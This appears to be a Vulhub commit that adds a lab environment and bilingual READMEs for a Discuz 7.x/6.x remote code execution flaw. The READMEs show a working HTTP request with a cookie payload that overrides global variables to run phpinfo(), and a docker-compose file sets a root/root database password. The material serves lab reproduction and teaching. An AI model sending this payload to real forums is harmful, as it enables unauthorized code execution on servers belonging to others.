first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 56 KiB

View File

@@ -0,0 +1,51 @@
# Discuz 7.x/6.x Remote Code Execution via Global Variable Override
[中文版本(Chinese version)](README.zh-cn.md)
Discuz is a popular forum software widely used in China. A remote code execution vulnerability exists in Discuz 7.x/6.x versions due to insufficient global variable protection.
In PHP 5.3.x, the default value of `request_order` in php.ini is set to "GP", which means `$_REQUEST` no longer includes `$_COOKIE` by default. This allows attackers to override global variables through cookies by injecting `$GLOBALS`, leading to remote code execution.
References:
- <https://www.secpulse.com/archives/2338.html>
## Environment Setup
Execute the following command to start Discuz 7.2:
```
docker compose up -d
```
After starting the container, visit `http://your-ip:8080/install/` to install Discuz. Use the following database settings:
- Database Host: `db`
- Database Name: `discuz`
- Username: `root`
- Password: `root`
![](1.png)
## Vulnerability Reproduction
After installation, find an existing post and send a request with the following cookie that contains the payload `GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();`:
```
GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Connection: close
```
The `phpinfo()` function will be successfully executed, demonstrating the remote code execution vulnerability:
![](2.png)
> Note: Some articles online claim that a post with an emoji comment is required, but the actual test found that it was not necessary, and the reason still needs to be analyzed from the code.

View File

@@ -0,0 +1,45 @@
# Discuz 7.x/6.x 全局变量防御绕过导致代码执行漏洞
Discuz是一个广泛使用的论坛软件系统。在Discuz 7.x/6.x版本中存在一个由于全局变量保护不足导致的远程代码执行漏洞。
由于PHP 5.3.x版本中php.ini的设置里`request_order`默认值为"GP",导致`$_REQUEST`中不再包含`$_COOKIE`数据。攻击者可以通过在Cookie中传入`$GLOBALS`来覆盖全局变量,最终造成远程代码执行漏洞。
参考链接:
- <https://www.secpulse.com/archives/2338.html>
## 环境搭建
执行如下命令启动Discuz 7.2
```
docker compose up -d
```
启动后,访问`http://your-ip:8080/install/`来安装Discuz使用以下数据库配置
- 数据库地址:`db`
- 数据库名:`discuz`
- 数据库账号:`root`
- 数据库密码:`root`
![](1.png)
## 漏洞复现
安装成功后找到一个已存在的帖子向其发送数据包并在Cookie中增加payload `GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();`
```
GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Connection: close
```
可以看到`phpinfo()`函数被成功执行,证明远程代码执行漏洞利用成功:
![](2.png)

View File

@@ -0,0 +1,12 @@
services:
discuz:
image: vulhub/discuz:7.2
depends_on:
- db
ports:
- "8080:80"
db:
image: mysql:5.5
environment:
MYSQL_ROOT_PASSWORD: root
MYSQL_DATABASE: discuz